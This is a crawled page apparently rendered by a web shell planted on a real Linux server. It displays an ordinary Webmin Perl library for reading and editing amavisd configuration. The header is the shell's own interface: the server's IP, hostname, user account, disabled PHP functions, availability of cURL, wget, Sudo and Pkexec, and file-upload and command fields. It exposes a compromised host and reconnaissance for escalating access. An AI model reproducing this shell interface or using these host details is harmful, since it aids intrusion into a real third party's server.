Private
Server IP : 195.201.23.43  /  Your IP : 18.218.44.61
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/spam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/spam//spam-amavis-lib.pl
# spam-amavis-lib.pl

BEGIN { push(@INC, ".."); };
use WebminCore;
use Fcntl;
&init_config();

# get_amavis_config()
# Parse and return the amavisd config file
sub get_amavis_config
{
local(@rv, $line);
open(CONF, "<".$config{'amavisdconf'});
while(<CONF>) {
	s/\r|\n//g;
	if (/^\s*#|^\s*$/) { $line++; next; }
	if (/^\s*\$(\S+)\s*=\s*"(.*)";/ ||
	    /^\s*\$(\S+)\s*=\s*'(.*)';/) {
		# STRING config option
		push(@rv, { 'name' => $1,
			    'value' => &perl_unescape($2),
			    'line' => $line,
			    'eline' => $line });
		}
	elsif (/^\s*\$(\S+)\s*=\s*(.*);/) {
		# VALUE or computed config option
		push(@rv, { 'name' => $1,
			    'value' => $2,
			    'computed' => 1,
			    'line' => $line,
			    'eline' => $line });
		}
	# ignore multiline options for now ....
	$line++;
	}
close(CONF);
return \@rv;
}

# amavis_check_value(value, numeric)
# check if value is ok or not
sub check_amavis_value
{
if ($_[1] && $_[1] eq "*") {
	return $_[0] =~ m/^[0-9\.\,\*\-\+\/]+$|undef/;
    }
return 1;
}

# save_amavis_directive(&config, name, value, multiline)
# Update some directive in the global config file
sub save_amavis_directive
{
local ($c,$n,$v,$m) = @_;
local $old = &amavis_find($n, $c);
local $lref = &read_file_lines($config{'amavisdconf'});
if (!$old) {
    pop(@$lref);
    push(@$lref, "# new config added by webmin");
    if (&check_amavis_value($v, 1)) {
	push(@$lref, "\$$n = $v;");
    } else {
	push(@$lref, "\$$n = \"$v\";");
    }
    push(@$lref, "1;");
    return;
}

local $olen = $old->{'eline'} - $old->{'line'} + 1;
local $pos = $old->{'line'};
$v =~ s/\n$//;

	$v =~ s/\@/\\@/g;
	if ($old->{'computed'} && $v ne "*") {
		splice(@$lref, $pos, $olen, "\$$n = $v; # modified by webmin");
	} else {
		splice(@$lref, $pos, $olen, "\$$n = \"$v\"; # modified by webmin");
	}
}

# amavis_find(name, &array)
sub amavis_find
{
local($c, @rv);
foreach $c (@{$_[1]}) {
	if ($c->{'name'} eq $_[0]) {
		push(@rv, $c);
		}
	}
return @rv ? wantarray ? @rv : $rv[0]
           : wantarray ? () : undef;
}

# amavis_find_value(name, &array)
sub amavis_find_value
{
local(@v);
@v = &amavis_find($_[0], $_[1]);
@v = grep { !$_->{'computed'} } @v;
if (!@v) { return undef; }
elsif (wantarray) { return map { $_->{'value'} } @v; }
else { return $v[0]->{'value'}; }
}

# perl_unescape(string)
# Converts a string like "hello\@there\\foo" to "hello@there\foo"
sub perl_unescape
{
local $v = $_[0];
$v =~ s/\\(.)/$1/g;
return $v;
}

# perl_var_replace(string, &config)
# Replaces variables like $foo in a string with their value from
# the config file
sub perl_var_replace
{
local $str = $_[0];
local %donevar;
while($str =~ /\$([A-z0-9\_]+)/ && !$donevar{$1}) {
	$donevar{$1}++;
	local $val = &amavis_find_value($1, $_[1]);
	$str =~ s/\$([A-z0-9\_]+)/$val/;
	}
return $str;
}

1;

Private